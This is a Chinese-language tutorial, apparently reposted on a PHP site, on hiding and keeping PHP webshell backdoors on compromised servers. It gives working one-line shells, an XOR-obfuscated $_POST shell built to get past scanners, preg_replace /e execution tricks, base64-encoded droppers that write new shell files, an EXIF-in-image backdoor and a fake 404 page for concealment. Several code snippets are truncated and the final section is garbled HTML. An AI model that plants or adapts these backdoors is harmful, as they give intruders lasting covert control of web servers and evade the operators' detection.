首頁 >後端開發 >php教程 >PHP后门隐藏与维持技巧_PHP

PHP后门隐藏与维持技巧_PHP

WBOY
WBOY原創
2016-06-01 11:53:081270瀏覽

0×00前言

在一个成功的测试后,通常会想让特权保持的更久些.留后门的工作就显得至关重要,通常布设的后门包括但不限于数据库权限,WEB权限,系统用户权限等等.此文则对大众后门隐藏的一些思路做科普.

PHP后门隐藏与维持技巧

以PHP-WEBBACKDOOR为例,抛砖引玉

一个最常见的一句话后门可能写作这样

 

eval($_POST['cmd']);?> 

或这样

 

$_POST['cmd']);?> 

当然,这仅是调用的函数不同,关于PHP禁用的函数请在php.ini: disable_functions 中寻找.

但是运维直观寻找我们shell的方式也有很多,如

◆通过文件名/修改时间/大小,文件备份比对发现异常

◆通过WEBSHELL后门扫描脚本发现,如Scanbackdoor.php/Pecker/shelldetect.php以及各种扫描器等等

◆通过Access.log访问日志发现后门所在

◆又或者,我们的测试一句话还要被WAF拦一下,再来个警告日志,等等

针对常见的检测方式,总结以下七常用手法对shell进行隐藏

0×01规避

看看各种扫描后门的代码就知道,留一个众人皆知,人人喊打的关键词在shell中是万万不能的

PHP后门隐藏与维持技巧

 

常见的关键词如:

◆系统命令执行: system, passthru, shell_exec, exec, popen, proc_open

◆代码执行: eval, assert, call_user_func,base64_decode, gzinflate, gzuncompress, gzdecode, str_rot13

◆文件包含: require, require_once, include, include_once, file_get_contents, file_put_contents, fputs, fwrite

过去有朋友机智的使用$_POST[0]($_POST[1])来执行命令,可惜现在也难逃扫描器法眼,但万象变化,构造方法是无穷的

tudouya 同学在FREEBUF上给出[一种构造技巧](http://www.freebuf.com/articles/web/33824.html)利用

 

?

1

2

3

4

5

6

7

8

9

1.<?php

2.@$_++; // $_ = 1 

3.$__=("#"^"|"); // $__ = _ 

4.$__.=("."^"~"); // _P 

5.$__.=("/"^"`"); // _PO 

6.$__.=("|"^"/"); // _POS 

7.$__.=("{"^"/"); // _POST 

8.${$__}[!$_](${$__}[$_]); // $_POST[0]($_POST[1]); 

9.?>

构造生成,当然,嫌太直观可以写作这样

 

$_++;$__=("#"^"|").("."^"~").("/"^"`").("|"^"/").("{"^"/");@${$__}[!$_](${$__}[$_]);?> 

然后再填充些普通代码进行伪装,一个简单的”免杀”shell样本就出现了

PHP后门隐藏与维持技巧

 

执行无误,且绕过普通扫描器,也可依赖之写新的临时shell

PHP后门隐藏与维持技巧

 

0×02特性

借助语法特性执行命令亦不失为有趣的手法.借用php在处理变量时的语法特性,会分析双引号中的数据是否含有变量(并解析其值)

eg.:

 

${@eval(phpinfo())} 

{}可解析双引号内的变量内容,@保持出错后继续执行

然后就可以大摇大摆的开始构造隐藏后门了,但此处构造欲再借力于函数引起的命令执行,没错,就是preg_replace

 

"//e",$_POST['cmd'],"");?> 

这玩法显然已经进了扫描器黑名单,简单修改下

?

1

2

3

4

1.<?php

2.function funfunc($str){} 

3.echo preg_replace("/<title>(.+?)/ies"</title>, 'funfunc("\1")', $_POST["cmd"]); 

4.?>

执行了,没有被发现

PHP后门隐藏与维持技巧

执行的方式显而易见,正则匹配后的{${phpinfo()}}传入funfunc时引起了代码执行

 

funfunc("{${phpinfo()}}"

另一种方法

 

"\$arr=\"".$_GET['cmd']."\";");?> 

PHP后门隐藏与维持技巧

0×03包含

文件包含是众人都玩过的方法,只是包含也有技巧

普通文件包含可能仅仅是一个include包含某个txt或jpg,甚至直接留一个包含漏洞,但扫描器也容易发现,多出的包含文件也易被发现

看此脚本

 

?

1

2

3

4

5

6

7

8

9

1.<?php

2.    if(@isset($_GET[content])) 

3.    { 

4.    $fp=fopen('README','w'); 

5.    file_put_contents('README',"<?php \r\n"); 

6.    @file_put_contents('README',$_GET[content],FILE_APPEND); 

7.    fclose($fp); 

8.    require 'README';} 

9.?>

算是解决了一点问题,需求的shell可随用随生成,进而包含之

PHP后门隐藏与维持技巧

可惜由于file_put_contents等函数过于敏感,也是很容易被扫描发现

编码生成的方式创建shell,随访问而生成.

 

fputs(fopen(base64_decode('cGx1Z2luX20ucGhw'),w),base64_decode('PD9waHAgQGFzc2VydCgkX1BPU1RbJ2NtZCddKTs/Pg=='));  

?> 

可以逃避一些扫描器,但这个模式也比较引人注目,生成的新文件也要做简单的隐藏以躲过查杀.

当然对于启发式之类的新概念就不考虑了

在这种方式也满足不了需求的情况下,机智的攻击者又重拾图片

 

$exif=exif_read_data('./lol.jpg');preg_replace($exif['Make'],$exif['Model'],'');?> 

参考:一种隐藏在JPG图片EXIF中的后门

这次不必再简单的copy /b生成图片马了,借用preg_replace执行文件的特定标志一样可行

PHP后门隐藏与维持技巧

此处可能会提示 Call to undefined function exif_read_data()

需要修改php.ini, extension=php_exif.dll

将其加载顺序改为extension=php_mbstring.dll的后面

PHP后门隐藏与维持技巧

可以看出,此图片后门借助了preg_replace \e参数,依赖了php的变量解析执行,又使用了base64编码,最后依赖文件标识将一个完整的shell拼合,算是给初涉后门隐藏的童鞋一个小提醒

当然,只要有包含点,包含文件的形式是多样的,甚至于包含error_log(虽然可能要考虑闭合),只有想不到…

0×04隐匿

为了不让访问者发现后门的存在,机智的安全研究员也会混淆视听故弄玄虚

 

?

1

2

3

4

5

6

7

8

9

10

11

1./code><code class="java string">"-//IETF//DTD HTML 2.0//EN"

2.  

3.   <title></title>404 <font face="NSimsun">Not Found    </font>

1.     

2.   

Not Found

3.    <p>The requested URL was not found on </p>this <font face="NSimsun">server.</font>4.     

5.   

陳述:
本文內容由網友自願投稿,版權歸原作者所有。本站不承擔相應的法律責任。如發現涉嫌抄襲或侵權的內容,請聯絡admin@php.cn